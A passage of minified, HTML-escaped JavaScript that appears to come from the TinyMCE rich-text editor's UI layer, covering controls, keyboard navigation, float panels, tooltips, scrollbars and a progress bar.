a.controlIdLookup||(a.controlIdLookup={}),(a.controlIdLookup[o._id]=o)._aria)o.aria(l,o._aria[l]);!1===o.state.get(&quot;visible&quot;)&amp;&amp;(o.getEl().style.display=&quot;none&quot;),o.bindStates(),o.state.on(&quot;change:visible&quot;,function(e){var t,n=e.value;o.state.get(&quot;rendered&quot;)&amp;&amp;(o.getEl().style.display=!1===n?&quot;none&quot;:&quot;&quot;,o.getEl().getBoundingClientRect()),(t=o.parent())&amp;&amp;(t._lastRect=null),o.fire(n?&quot;show&quot;:&quot;hide&quot;),Ke.add(o)}),o.fire(&quot;postrender&quot;,{},!1)},bindStates:function(){},scrollIntoView:function(e){var t,n,i,r,o,s,a=this.getEl(),l=a.parentNode,u=function(e,t){var n,i,r=e;for(n=i=0;r&amp;&amp;r!==t&amp;&amp;r.nodeType;)n+=r.offsetLeft||0,i+=r.offsetTop||0,r=r.offsetParent;return{x:n,y:i}}(a,l);return t=u.x,n=u.y,i=a.offsetWidth,r=a.offsetHeight,o=l.clientWidth,s=l.clientHeight,&quot;end&quot;===e?(t-=o-i,n-=s-r):&quot;center&quot;===e&amp;&amp;(t-=o/2-i/2,n-=s/2-r/2),l.scrollLeft=t,l.scrollTop=n,this},getRoot:function(){for(var e,t=this,n=[];t;){if(t.rootControl){e=t.rootControl;break}n.push(t),t=(e=t).parent()}e||(e=this);for(var i=n.length;i--;)n[i].rootControl=e;return e},reflow:function(){Ke.remove(this);var e=this.parent();return e&amp;&amp;e._layout&amp;&amp;!e._layout.isNative()&amp;&amp;e.reflow(),this}};function nt(n){return n._eventDispatcher||(n._eventDispatcher=new Te({scope:n,toggleEvent:function(e,t){t&amp;&amp;Te.isNative(e)&amp;&amp;(n._nativeEvents||(n._nativeEvents={}),n._nativeEvents[e]=!0,n.state.get(&quot;rendered&quot;)&amp;&amp;it(n))}})),n._eventDispatcher}function it(a){var e,t,n,l,i,r;function o(e){var t=a.getParentCtrl(e.target);t&amp;&amp;t.fire(e.type,e)}function s(){var e=l._lastHoverCtrl;e&amp;&amp;(e.fire(&quot;mouseleave&quot;,{target:e.getEl()}),e.parents().each(function(e){e.fire(&quot;mouseleave&quot;,{target:e.getEl()})}),l._lastHoverCtrl=null)}function u(e){var t,n,i,r=a.getParentCtrl(e.target),o=l._lastHoverCtrl,s=0;if(r!==o){if((n=(l._lastHoverCtrl=r).parents().toArray().reverse()).push(r),o){for((i=o.parents().toArray().reverse()).push(o),s=0;s&lt;i.length&amp;&amp;n[s]===i[s];s++);for(t=i.length-1;s&lt;=t;t--)(o=i[t]).fire(&quot;mouseleave&quot;,{target:o.getEl()})}for(t=s;t&lt;n.length;t++)(r=n[t]).fire(&quot;mouseenter&quot;,{target:r.getEl()})}}function c(e){e.preventDefault(),&quot;mousewheel&quot;===e.type?(e.deltaY=-.025*e.wheelDelta,e.wheelDeltaX&amp;&amp;(e.deltaX=-.025*e.wheelDeltaX)):(e.deltaX=0,e.deltaY=e.detail),e=a.fire(&quot;wheel&quot;,e)}if(i=a._nativeEvents){for((n=a.parents().toArray()).unshift(a),e=0,t=n.length;!l&amp;&amp;e&lt;t;e++)l=n[e]._eventsRoot;for(l||(l=n[n.length-1]||a),a._eventsRoot=l,t=e,e=0;e&lt;t;e++)n[e]._eventsRoot=l;var d=l._delegates;for(r in d||(d=l._delegates={}),i){if(!i)return!1;&quot;wheel&quot;!==r||Qe?(&quot;mouseenter&quot;===r||&quot;mouseleave&quot;===r?l._hasMouseEnter||(ye(l.getEl()).on(&quot;mouseleave&quot;,s).on(&quot;mouseover&quot;,u),l._hasMouseEnter=1):d[r]||(ye(l.getEl()).on(r,o),d[r]=!0),i[r]=!1):Ze?ye(a.getEl()).on(&quot;mousewheel&quot;,c):ye(a.getEl()).on(&quot;DOMMouseScroll&quot;,c)}}}w.each(&quot;text title visible disabled active value&quot;.split(&quot; &quot;),function(t){tt[t]=function(e){return 0===arguments.length?this.state.get(t):(void 0!==e&amp;&amp;this.state.set(t,e),this)}});var rt=je=Se.extend(tt),ot=function(e){return!!e.getAttribute(&quot;data-mce-tabstop&quot;)};function st(e){var o,r,n=e.root;function i(e){return e&amp;&amp;1===e.nodeType}try{o=_.document.activeElement}catch(t){o=_.document.body}function s(e){return i(e=e||o)?e.getAttribute(&quot;role&quot;):null}function a(e){for(var t,n=e||o;n=n.parentNode;)if(t=s(n))return t}function l(e){var t=o;if(i(t))return t.getAttribute(&quot;aria-&quot;+e)}function u(e){var t=e.tagName.toUpperCase();return&quot;INPUT&quot;===t||&quot;TEXTAREA&quot;===t||&quot;SELECT&quot;===t}function c(t){var r=[];return function e(t){if(1===t.nodeType&amp;&amp;&quot;none&quot;!==t.style.display&amp;&amp;!t.disabled){var n;(u(n=t)&amp;&amp;!n.hidden||ot(n)||/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell|slider)$/.test(s(n)))&amp;&amp;r.push(t);for(var i=0;i&lt;t.childNodes.length;i++)e(t.childNodes[i])}}(t||n.getEl()),r}function d(e){var t,n;(n=(e=e||r).parents().toArray()).unshift(e);for(var i=0;i&lt;n.length&amp;&amp;!(t=n[i]).settings.ariaRoot;i++);return t}function f(e,t){return e&lt;0?e=t.length-1:e&gt;=t.length&amp;&amp;(e=0),t[e]&amp;&amp;t[e].focus(),e}function h(e,t){var n=-1,i=d();t=t||c(i.getEl());for(var r=0;r&lt;t.length;r++)t[r]===o&amp;&amp;(n=r);n+=e,i.lastAriaIndex=f(n,t)}function m(){&quot;tablist&quot;===a()?h(-1,c(o.parentNode)):r.parent().submenu?b():h(-1)}function g(){var e=s(),t=a();&quot;tablist&quot;===t?h(1,c(o.parentNode)):&quot;menuitem&quot;===e&amp;&amp;&quot;menu&quot;===t&amp;&amp;l(&quot;haspopup&quot;)?y():h(1)}function p(){h(-1)}function v(){var e=s(),t=a();&quot;menuitem&quot;===e&amp;&amp;&quot;menubar&quot;===t?y():&quot;button&quot;===e&amp;&amp;l(&quot;haspopup&quot;)?y({key:&quot;down&quot;}):h(1)}function b(){r.fire(&quot;cancel&quot;)}function y(e){e=e||{},r.fire(&quot;click&quot;,{target:o,aria:e})}return r=n.getParentCtrl(o),n.on(&quot;keydown&quot;,function(e){function t(e,t){u(o)||ot(o)||&quot;slider&quot;!==s(o)&amp;&amp;!1!==t(e)&amp;&amp;e.preventDefault()}if(!e.isDefaultPrevented())switch(e.keyCode){case 37:t(e,m);break;case 39:t(e,g);break;case 38:t(e,p);break;case 40:t(e,v);break;case 27:b();break;case 14:case 13:case 32:t(e,y);break;case 9:!function(e){if(&quot;tablist&quot;===a()){var t=c(r.getEl(&quot;body&quot;))[0];t&amp;&amp;t.focus()}else h(e.shiftKey?-1:1)}(e),e.preventDefault()}}),n.on(&quot;focusin&quot;,function(e){o=e.target,r=e.control}),{focusFirst:function(e){var t=d(e),n=c(t.getEl());t.settings.ariaRemember&amp;&amp;&quot;lastAriaIndex&quot;in t?f(t.lastAriaIndex,n):f(0,n)}}}var at={},lt=rt.extend({init:function(e){var t=this;t._super(e),(e=t.settings).fixed&amp;&amp;t.state.set(&quot;fixed&quot;,!0),t._items=new Ve,t.isRtl()&amp;&amp;t.classes.add(&quot;rtl&quot;),t.bodyClasses=new We(function(){t.state.get(&quot;rendered&quot;)&amp;&amp;(t.getEl(&quot;body&quot;).className=this.toString())}),t.bodyClasses.prefix=t.classPrefix,t.classes.add(&quot;container&quot;),t.bodyClasses.add(&quot;container-body&quot;),e.containerCls&amp;&amp;t.classes.add(e.containerCls),t._layout=v.create((e.layout||&quot;&quot;)+&quot;layout&quot;),t.settings.items?t.add(t.settings.items):t.add(t.render()),t._hasBody=!0},items:function(){return this._items},find:function(e){return(e=at[e]=at[e]||new Ie(e)).find(this)},add:function(e){return this.items().add(this.create(e)).parent(this),this},focus:function(e){var t,n,i,r=this;if(!e||!(n=r.keyboardNav||r.parents().eq(-1)[0].keyboardNav))return i=r.find(&quot;*&quot;),r.statusbar&amp;&amp;i.add(r.statusbar.items()),i.each(function(e){if(e.settings.autofocus)return t=null,!1;e.canFocus&amp;&amp;(t=t||e)}),t&amp;&amp;t.focus(),r;n.focusFirst(r)},replace:function(e,t){for(var n,i=this.items(),r=i.length;r--;)if(i[r]===e){i[r]=t;break}0&lt;=r&amp;&amp;((n=t.getEl())&amp;&amp;n.parentNode.removeChild(n),(n=e.getEl())&amp;&amp;n.parentNode.removeChild(n)),t.parent(this)},create:function(e){var t,n=this,i=[];return w.isArray(e)||(e=[e]),w.each(e,function(e){e&amp;&amp;(e instanceof rt||(&quot;string&quot;==typeof e&amp;&amp;(e={type:e}),t=w.extend({},n.settings.defaults,e),e.type=t.type=t.type||e.type||n.settings.defaultType||(t.defaults?t.defaults.type:null),e=v.create(t)),i.push(e))}),i},renderNew:function(){var i=this;return i.items().each(function(e,t){var n;e.parent(i),e.state.get(&quot;rendered&quot;)||((n=i.getEl(&quot;body&quot;)).hasChildNodes()&amp;&amp;t&lt;=n.childNodes.length-1?ye(n.childNodes[t]).before(e.renderHtml()):ye(n).append(e.renderHtml()),e.postRender(),Ke.add(e))}),i._layout.applyClasses(i.items().filter(&quot;:visible&quot;)),i._lastRect=null,i},append:function(e){return this.add(e).renderNew()},prepend:function(e){return this.items().set(this.create(e).concat(this.items().toArray())),this.renderNew()},insert:function(e,t,n){var i,r,o;return e=this.create(e),i=this.items(),!n&amp;&amp;t&lt;i.length-1&amp;&amp;(t+=1),0&lt;=t&amp;&amp;t&lt;i.length&amp;&amp;(r=i.slice(0,t).toArray(),o=i.slice(t).toArray(),i.set(r.concat(e,o))),this.renderNew()},fromJSON:function(e){for(var t in e)this.find(&quot;#&quot;+t).value(e[t]);return this},toJSON:function(){var i={};return this.find(&quot;*&quot;).each(function(e){var t=e.name(),n=e.value();t&amp;&amp;void 0!==n&amp;&amp;(i[t]=n)}),i},renderHtml:function(){var e=this,t=e._layout,n=this.settings.role;return e.preRender(),t.preRender(e),&#039;&lt;div id=&quot;&#039;+e._id+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot;&#039;+(n?&#039; role=&quot;&#039;+this.settings.role+&#039;&quot;&#039;:&quot;&quot;)+&#039;&gt;&lt;div id=&quot;&#039;+e._id+&#039;-body&quot; class=&quot;&#039;+e.bodyClasses+&#039;&quot;&gt;&#039;+(e.settings.html||&quot;&quot;)+t.renderHtml(e)+&quot;&lt;/div&gt;&lt;/div&gt;&quot;},postRender:function(){var e,t=this;return t.items().exec(&quot;postRender&quot;),t._super(),t._layout.postRender(t),t.state.set(&quot;rendered&quot;,!0),t.settings.style&amp;&amp;t.$el.css(t.settings.style),t.settings.border&amp;&amp;(e=t.borderBox,t.$el.css({&quot;border-top-width&quot;:e.top,&quot;border-right-width&quot;:e.right,&quot;border-bottom-width&quot;:e.bottom,&quot;border-left-width&quot;:e.left})),t.parent()||(t.keyboardNav=st({root:t})),t},initLayoutRect:function(){var e=this._super();return this._layout.recalc(this),e},recalc:function(){var e=this,t=e._layoutRect,n=e._lastRect;if(!n||n.w!==t.w||n.h!==t.h)return e._layout.recalc(e),t=e.layoutRect(),e._lastRect={x:t.x,y:t.y,w:t.w,h:t.h},!0},reflow:function(){var e;if(Ke.remove(this),this.visible()){for(rt.repaintControls=[],rt.repaintControls.map={},this.recalc(),e=rt.repaintControls.length;e--;)rt.repaintControls[e].repaint();&quot;flow&quot;!==this.settings.layout&amp;&amp;&quot;stack&quot;!==this.settings.layout&amp;&amp;this.repaint(),rt.repaintControls=[]}return this}});function ut(e){var t,n;if(e.changedTouches)for(t=&quot;screenX screenY pageX pageY clientX clientY&quot;.split(&quot; &quot;),n=0;n&lt;t.length;n++)e[t[n]]=e.changedTouches[0][t[n]]}function ct(e,h){var m,g,t,p,v,b,y,x=h.document||_.document;h=h||{};var w=x.getElementById(h.handle||e);t=function(e){var t,n,i,r,o,s,a,l,u,c,d,f=(t=x,u=Math.max,n=t.documentElement,i=t.body,r=u(n.scrollWidth,i.scrollWidth),o=u(n.clientWidth,i.clientWidth),s=u(n.offsetWidth,i.offsetWidth),a=u(n.scrollHeight,i.scrollHeight),l=u(n.clientHeight,i.clientHeight),{width:r&lt;s?o:r,height:a&lt;u(n.offsetHeight,i.offsetHeight)?l:a});ut(e),e.preventDefault(),g=e.button,c=w,b=e.screenX,y=e.screenY,d=_.window.getComputedStyle?_.window.getComputedStyle(c,null).getPropertyValue(&quot;cursor&quot;):c.runtimeStyle.cursor,m=ye(&quot;&lt;div&gt;&lt;/div&gt;&quot;).css({position:&quot;absolute&quot;,top:0,left:0,width:f.width,height:f.height,zIndex:2147483647,opacity:1e-4,cursor:d}).appendTo(x.body),ye(x).on(&quot;mousemove touchmove&quot;,v).on(&quot;mouseup touchend&quot;,p),h.start(e)},v=function(e){if(ut(e),e.button!==g)return p(e);e.deltaX=e.screenX-b,e.deltaY=e.screenY-y,e.preventDefault(),h.drag(e)},p=function(e){ut(e),ye(x).off(&quot;mousemove touchmove&quot;,v).off(&quot;mouseup touchend&quot;,p),m.remove(),h.stop&amp;&amp;h.stop(e)},this.destroy=function(){ye(w).off()},ye(w).on(&quot;mousedown touchstart&quot;,t)}var dt,ft,ht,mt,gt={init:function(){this.on(&quot;repaint&quot;,this.renderScroll)},renderScroll:function(){var p=this,v=2;function n(){var m,g,e;function t(e,t,n,i,r,o){var s,a,l,u,c,d,f,h;if(a=p.getEl(&quot;scroll&quot;+e)){if(f=t.toLowerCase(),h=n.toLowerCase(),ye(p.getEl(&quot;absend&quot;)).css(f,p.layoutRect()[i]-1),!r)return void ye(a).css(&quot;display&quot;,&quot;none&quot;);ye(a).css(&quot;display&quot;,&quot;block&quot;),s=p.getEl(&quot;body&quot;),l=p.getEl(&quot;scroll&quot;+e+&quot;t&quot;),u=s[&quot;client&quot;+n]-2*v,c=(u-=m&amp;&amp;g?a[&quot;client&quot;+o]:0)/s[&quot;scroll&quot;+n],(d={})[f]=s[&quot;offset&quot;+t]+v,d[h]=u,ye(a).css(d),(d={})[f]=s[&quot;scroll&quot;+t]*c,d[h]=u*c,ye(l).css(d)}}e=p.getEl(&quot;body&quot;),m=e.scrollWidth&gt;e.clientWidth,g=e.scrollHeight&gt;e.clientHeight,t(&quot;h&quot;,&quot;Left&quot;,&quot;Width&quot;,&quot;contentW&quot;,m,&quot;Height&quot;),t(&quot;v&quot;,&quot;Top&quot;,&quot;Height&quot;,&quot;contentH&quot;,g,&quot;Width&quot;)}p.settings.autoScroll&amp;&amp;(p._hasScroll||(p._hasScroll=!0,function(){function e(s,a,l,u,c){var d,e=p._id+&quot;-scroll&quot;+s,t=p.classPrefix;ye(p.getEl()).append(&#039;&lt;div id=&quot;&#039;+e+&#039;&quot; class=&quot;&#039;+t+&quot;scrollbar &quot;+t+&quot;scrollbar-&quot;+s+&#039;&quot;&gt;&lt;div id=&quot;&#039;+e+&#039;t&quot; class=&quot;&#039;+t+&#039;scrollbar-thumb&quot;&gt;&lt;/div&gt;&lt;/div&gt;&#039;),p.draghelper=new ct(e+&quot;t&quot;,{start:function(){d=p.getEl(&quot;body&quot;)[&quot;scroll&quot;+a],ye(&quot;#&quot;+e).addClass(t+&quot;active&quot;)},drag:function(e){var t,n,i,r,o=p.layoutRect();n=o.contentW&gt;o.innerW,i=o.contentH&gt;o.innerH,r=p.getEl(&quot;body&quot;)[&quot;client&quot;+l]-2*v,t=(r-=n&amp;&amp;i?p.getEl(&quot;scroll&quot;+s)[&quot;client&quot;+c]:0)/p.getEl(&quot;body&quot;)[&quot;scroll&quot;+l],p.getEl(&quot;body&quot;)[&quot;scroll&quot;+a]=d+e[&quot;delta&quot;+u]/t},stop:function(){ye(&quot;#&quot;+e).removeClass(t+&quot;active&quot;)}})}p.classes.add(&quot;scroll&quot;),e(&quot;v&quot;,&quot;Top&quot;,&quot;Height&quot;,&quot;Y&quot;,&quot;Width&quot;),e(&quot;h&quot;,&quot;Left&quot;,&quot;Width&quot;,&quot;X&quot;,&quot;Height&quot;)}(),p.on(&quot;wheel&quot;,function(e){var t=p.getEl(&quot;body&quot;);t.scrollLeft+=10*(e.deltaX||0),t.scrollTop+=10*e.deltaY,n()}),ye(p.getEl(&quot;body&quot;)).on(&quot;scroll&quot;,n)),n())}},pt=lt.extend({Defaults:{layout:&quot;fit&quot;,containerCls:&quot;panel&quot;},Mixins:[gt],renderHtml:function(){var e=this,t=e._layout,n=e.settings.html;return e.preRender(),t.preRender(e),void 0===n?n=&#039;&lt;div id=&quot;&#039;+e._id+&#039;-body&quot; class=&quot;&#039;+e.bodyClasses+&#039;&quot;&gt;&#039;+t.renderHtml(e)+&quot;&lt;/div&gt;&quot;:(&quot;function&quot;==typeof n&amp;&amp;(n=n.call(e)),e._hasBody=!1),&#039;&lt;div id=&quot;&#039;+e._id+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot; hidefocus=&quot;1&quot; tabindex=&quot;-1&quot; role=&quot;group&quot;&gt;&#039;+(e._preBodyHtml||&quot;&quot;)+n+&quot;&lt;/div&gt;&quot;}}),vt={resizeToContent:function(){this._layoutRect.autoResize=!0,this._lastRect=null,this.reflow()},resizeTo:function(e,t){if(e&lt;=1||t&lt;=1){var n=we.getWindowSize();e=e&lt;=1?e*n.w:e,t=t&lt;=1?t*n.h:t}return this._layoutRect.autoResize=!1,this.layoutRect({minW:e,minH:t,w:e,h:t}).reflow()},resizeBy:function(e,t){var n=this.layoutRect();return this.resizeTo(n.w+e,n.h+t)}},bt=[],yt=[];function xt(e,t){for(;e;){if(e===t)return!0;e=e.parent()}}function wt(){dt||(dt=function(e){2!==e.button&amp;&amp;function(e){for(var t=bt.length;t--;){var n=bt[t],i=n.getParentCtrl(e.target);if(n.settings.autohide){if(i&amp;&amp;(xt(i,n)||n.parent()===i))continue;(e=n.fire(&quot;autohide&quot;,{target:e.target})).isDefaultPrevented()||n.hide()}}}(e)},ye(_.document).on(&quot;click touchstart&quot;,dt))}function _t(r){var e=we.getViewPort().y;function t(e,t){for(var n,i=0;i&lt;bt.length;i++)if(bt[i]!==r)for(n=bt[i].parent();n&amp;&amp;(n=n.parent());)n===r&amp;&amp;bt[i].fixed(e).moveBy(0,t).repaint()}r.settings.autofix&amp;&amp;(r.state.get(&quot;fixed&quot;)?r._autoFixY&gt;e&amp;&amp;(r.fixed(!1).layoutRect({y:r._autoFixY}).repaint(),t(!1,r._autoFixY-e)):(r._autoFixY=r.layoutRect().y,r._autoFixY&lt;e&amp;&amp;(r.fixed(!0).layoutRect({y:0}).repaint(),t(!0,e-r._autoFixY))))}function Rt(e,t){var n,i,r=Ct.zIndex||65535;if(e)yt.push(t);else for(n=yt.length;n--;)yt[n]===t&amp;&amp;yt.splice(n,1);if(yt.length)for(n=0;n&lt;yt.length;n++)yt[n].modal&amp;&amp;(r++,i=yt[n]),yt[n].getEl().style.zIndex=r,yt[n].zIndex=r,r++;var o=ye(&quot;#&quot;+t.classPrefix+&quot;modal-block&quot;,t.getContainerElm())[0];i?ye(o).css(&quot;z-index&quot;,i.zIndex-1):o&amp;&amp;(o.parentNode.removeChild(o),mt=!1),Ct.currentZIndex=r}var Ct=pt.extend({Mixins:[He,vt],init:function(e){var i=this;i._super(e),(i._eventsRoot=i).classes.add(&quot;floatpanel&quot;),e.autohide&amp;&amp;(wt(),function(){if(!ht){var e=_.document.documentElement,t=e.clientWidth,n=e.clientHeight;ht=function(){_.document.all&amp;&amp;t===e.clientWidth&amp;&amp;n===e.clientHeight||(t=e.clientWidth,n=e.clientHeight,Ct.hideAll())},ye(_.window).on(&quot;resize&quot;,ht)}}(),bt.push(i)),e.autofix&amp;&amp;(ft||(ft=function(){var e;for(e=bt.length;e--;)_t(bt[e])},ye(_.window).on(&quot;scroll&quot;,ft)),i.on(&quot;move&quot;,function(){_t(this)})),i.on(&quot;postrender show&quot;,function(e){if(e.control===i){var t,n=i.classPrefix;i.modal&amp;&amp;!mt&amp;&amp;((t=ye(&quot;#&quot;+n+&quot;modal-block&quot;,i.getContainerElm()))[0]||(t=ye(&#039;&lt;div id=&quot;&#039;+n+&#039;modal-block&quot; class=&quot;&#039;+n+&quot;reset &quot;+n+&#039;fade&quot;&gt;&lt;/div&gt;&#039;).appendTo(i.getContainerElm())),u.setTimeout(function(){t.addClass(n+&quot;in&quot;),ye(i.getEl()).addClass(n+&quot;in&quot;)}),mt=!0),Rt(!0,i)}}),i.on(&quot;show&quot;,function(){i.parents().each(function(e){if(e.state.get(&quot;fixed&quot;))return i.fixed(!0),!1})}),e.popover&amp;&amp;(i._preBodyHtml=&#039;&lt;div class=&quot;&#039;+i.classPrefix+&#039;arrow&quot;&gt;&lt;/div&gt;&#039;,i.classes.add(&quot;popover&quot;).add(&quot;bottom&quot;).add(i.isRtl()?&quot;end&quot;:&quot;start&quot;)),i.aria(&quot;label&quot;,e.ariaLabel),i.aria(&quot;labelledby&quot;,i._id),i.aria(&quot;describedby&quot;,i.describedBy||i._id+&quot;-none&quot;)},fixed:function(e){var t=this;if(t.state.get(&quot;fixed&quot;)!==e){if(t.state.get(&quot;rendered&quot;)){var n=we.getViewPort();e?t.layoutRect().y-=n.y:t.layoutRect().y+=n.y}t.classes.toggle(&quot;fixed&quot;,e),t.state.set(&quot;fixed&quot;,e)}return t},show:function(){var e,t=this._super();for(e=bt.length;e--&amp;&amp;bt[e]!==this;);return-1===e&amp;&amp;bt.push(this),t},hide:function(){return Et(this),Rt(!1,this),this._super()},hideAll:function(){Ct.hideAll()},close:function(){return this.fire(&quot;close&quot;).isDefaultPrevented()||(this.remove(),Rt(!1,this)),this},remove:function(){Et(this),this._super()},postRender:function(){return this.settings.bodyRole&amp;&amp;this.getEl(&quot;body&quot;).setAttribute(&quot;role&quot;,this.settings.bodyRole),this._super()}});function Et(e){var t;for(t=bt.length;t--;)bt[t]===e&amp;&amp;bt.splice(t,1);for(t=yt.length;t--;)yt[t]===e&amp;&amp;yt.splice(t,1)}Ct.hideAll=function(){for(var e=bt.length;e--;){var t=bt[e];t&amp;&amp;t.settings.autohide&amp;&amp;(t.hide(),bt.splice(e,1))}};var kt=function(s,n,e){var a,i,l=p.DOM,t=s.getParam(&quot;fixed_toolbar_container&quot;);t&amp;&amp;(i=l.select(t)[0]);var r=function(){if(a&amp;&amp;a.moveRel&amp;&amp;a.visible()&amp;&amp;!a._fixed){var e=s.selection.getScrollContainer(),t=s.getBody(),n=0,i=0;if(e){var r=l.getPos(t),o=l.getPos(e);n=Math.max(0,o.x-r.x),i=Math.max(0,o.y-r.y)}a.fixed(!1).moveRel(t,s.rtl?[&quot;tr-br&quot;,&quot;br-tr&quot;]:[&quot;tl-bl&quot;,&quot;bl-tl&quot;,&quot;tr-br&quot;]).moveBy(n,i)}},o=function(){a&amp;&amp;(a.show(),r(),l.addClass(s.getBody(),&quot;mce-edit-focus&quot;))},u=function(){a&amp;&amp;(a.hide(),Ct.hideAll(),l.removeClass(s.getBody(),&quot;mce-edit-focus&quot;))},c=function(){var e,t;a?a.visible()||o():(a=n.panel=v.create({type:i?&quot;panel&quot;:&quot;floatpanel&quot;,role:&quot;application&quot;,classes:&quot;tinymce tinymce-inline&quot;,layout:&quot;flex&quot;,direction:&quot;column&quot;,align:&quot;stretch&quot;,autohide:!1,autofix:!0,fixed:(e=i,t=s,!(!e||t.settings.ui_container)),border:1,items:[!1===d(s)?null:{type:&quot;menubar&quot;,border:&quot;0 0 1 0&quot;,items:re(s)},A(s,f(s))]}),W.setUiContainer(s,a),x(s),i?a.renderTo(i).reflow():a.renderTo().reflow(),R(s,a),o(),F(s),s.on(&quot;nodeChange&quot;,r),s.on(&quot;ResizeWindow&quot;,r),s.on(&quot;activate&quot;,o),s.on(&quot;deactivate&quot;,u),s.nodeChanged())};return s.settings.content_editable=!0,s.on(&quot;focus&quot;,function(){!1===m(s)&amp;&amp;e.skinUiCss?l.styleSheetLoader.load(e.skinUiCss,c,c):c()}),s.on(&quot;blur hide&quot;,u),s.on(&quot;remove&quot;,function(){a&amp;&amp;(a.remove(),a=null)}),!1===m(s)&amp;&amp;e.skinUiCss?l.styleSheetLoader.load(e.skinUiCss,ge(s)):ge(s)(),{}};function Ht(i,r){var o,s,a=this,l=rt.classPrefix;a.show=function(e,t){function n(){o&amp;&amp;(ye(i).append(&#039;&lt;div class=&quot;&#039;+l+&quot;throbber&quot;+(r?&quot; &quot;+l+&quot;throbber-inline&quot;:&quot;&quot;)+&#039;&quot;&gt;&lt;/div&gt;&#039;),t&amp;&amp;t())}return a.hide(),o=!0,e?s=u.setTimeout(n,e):n(),a},a.hide=function(){var e=i.lastChild;return u.clearTimeout(s),e&amp;&amp;-1!==e.className.indexOf(&quot;throbber&quot;)&amp;&amp;e.parentNode.removeChild(e),o=!1,a}}var St=function(e,t){var n;e.on(&quot;ProgressState&quot;,function(e){n=n||new Ht(t.panel.getEl(&quot;body&quot;)),e.state?n.show(e.time):n.hide()})},Tt=function(e,t,n){var i=function(e){var t=e.settings,n=t.skin,i=t.skin_url;if(!1!==n){var r=n||&quot;lightgray&quot;;i=i?e.documentBaseURI.toAbsolute(i):l.baseURL+&quot;/skins/&quot;+r}return i}(e);return i&amp;&amp;(n.skinUiCss=i+&quot;/skin.min.css&quot;,e.contentCSS.push(i+&quot;/content&quot;+(e.inline?&quot;.inline&quot;:&quot;&quot;)+&quot;.min.css&quot;)),St(e,t),e.getParam(&quot;inline&quot;,!1,&quot;boolean&quot;)?kt(e,t,n):be(e,t,n)},Mt=rt.extend({Mixins:[He],Defaults:{classes:&quot;widget tooltip tooltip-n&quot;},renderHtml:function(){var e=this,t=e.classPrefix;return&#039;&lt;div id=&quot;&#039;+e._id+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot; role=&quot;presentation&quot;&gt;&lt;div class=&quot;&#039;+t+&#039;tooltip-arrow&quot;&gt;&lt;/div&gt;&lt;div class=&quot;&#039;+t+&#039;tooltip-inner&quot;&gt;&#039;+e.encode(e.state.get(&quot;text&quot;))+&quot;&lt;/div&gt;&lt;/div&gt;&quot;},bindStates:function(){var t=this;return t.state.on(&quot;change:text&quot;,function(e){t.getEl().lastChild.innerHTML=t.encode(e.value)}),t._super()},repaint:function(){var e,t;e=this.getEl().style,t=this._layoutRect,e.left=t.x+&quot;px&quot;,e.top=t.y+&quot;px&quot;,e.zIndex=131070}}),Nt=rt.extend({init:function(i){var r=this;r._super(i),i=r.settings,r.canFocus=!0,i.tooltip&amp;&amp;!1!==Nt.tooltips&amp;&amp;(r.on(&quot;mouseenter&quot;,function(e){var t=r.tooltip().moveTo(-65535);if(e.control===r){var n=t.text(i.tooltip).show().testMoveRel(r.getEl(),[&quot;bc-tc&quot;,&quot;bc-tl&quot;,&quot;bc-tr&quot;]);t.classes.toggle(&quot;tooltip-n&quot;,&quot;bc-tc&quot;===n),t.classes.toggle(&quot;tooltip-nw&quot;,&quot;bc-tl&quot;===n),t.classes.toggle(&quot;tooltip-ne&quot;,&quot;bc-tr&quot;===n),t.moveRel(r.getEl(),n)}else t.hide()}),r.on(&quot;mouseleave mousedown click&quot;,function(){r.tooltip().remove(),r._tooltip=null})),r.aria(&quot;label&quot;,i.ariaLabel||i.tooltip)},tooltip:function(){return this._tooltip||(this._tooltip=new Mt({type:&quot;tooltip&quot;}),W.inheritUiContainer(this,this._tooltip),this._tooltip.renderTo()),this._tooltip},postRender:function(){var e=this,t=e.settings;e._super(),e.parent()||!t.width&amp;&amp;!t.height||(e.initLayoutRect(),e.repaint()),t.autofocus&amp;&amp;e.focus()},bindStates:function(){var t=this;function n(e){t.aria(&quot;disabled&quot;,e),t.classes.toggle(&quot;disabled&quot;,e)}function i(e){t.aria(&quot;pressed&quot;,e),t.classes.toggle(&quot;active&quot;,e)}return t.state.on(&quot;change:disabled&quot;,function(e){n(e.value)}),t.state.on(&quot;change:active&quot;,function(e){i(e.value)}),t.state.get(&quot;disabled&quot;)&amp;&amp;n(!0),t.state.get(&quot;active&quot;)&amp;&amp;i(!0),t._super()},remove:function(){this._super(),this._tooltip&amp;&amp;(this._tooltip.remove(),this._tooltip=null)}}),Pt=Nt.extend({Defaults:{value:0},init:function(e){this._super(e),this.classes.add(&quot;progress&quot;),this.settings.filter||(this.settings.filter=function(e){return Math.round(e)})},renderHtml:function(){var e=this._id,t=this.classPrefix;return&#039;&lt;div id=&quot;&#039;+e+&#039;&quot; class=&quot;&#039;+this.classes+&#039;&quot;&gt;&lt;div class=&quot;&#039;+t+&#039;bar-container&quot;&gt;&lt;div class=&quot;&#039;+t+&#039;bar&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;&#039;+t+&#039;text&quot;&gt;0%&lt;/div&gt;&lt;/div&gt;&#039;},postRender:function(){return this._super(),this.value(this.settings.value),this},bindStates:function(){var t=this;function n(e){e=t.settings.filter(e),t.getEl().lastChild.innerHTML=e+&quot;%&quot;,t.getEl().firstChild.firstChild.style.width=e+&quot;%&quot;}return t.state.on(&quot;change:value&quot;,function(e){n(e.value)}),n(t.state.get(&quot;value&quot;)),t._super()}}),Wt=function(e,t){e.getEl().lastChild.textContent=t+(e.progressBar?&quot; &quot;+e.progressBar.value()+&quot;%&quot;:&quot;&quot;)},Dt=rt.extend({Mixins:[He],Defaults:{classes:&quot;widget notification&quot;},init:function(e){var t=this;t._super(e),t.maxWidth=e.maxWidth,e.text&amp;&amp;t.text(e.text),e.icon&amp;&amp;(t.icon=e.icon),e.color&amp;&amp;(t.color=e.color),e.type&amp;&amp;t.classes.add(&quot;notification-&quot;+e.type),e.timeout&amp;&amp;(e.timeout&lt;0||0&lt;e.timeout)&amp;&amp;!e.closeButton?t.closeButton=!1:(t.classes.add(&quot;has-close&quot;),t.closeButton=!0),e.progressBar&amp;&amp;(t.progressBar=new 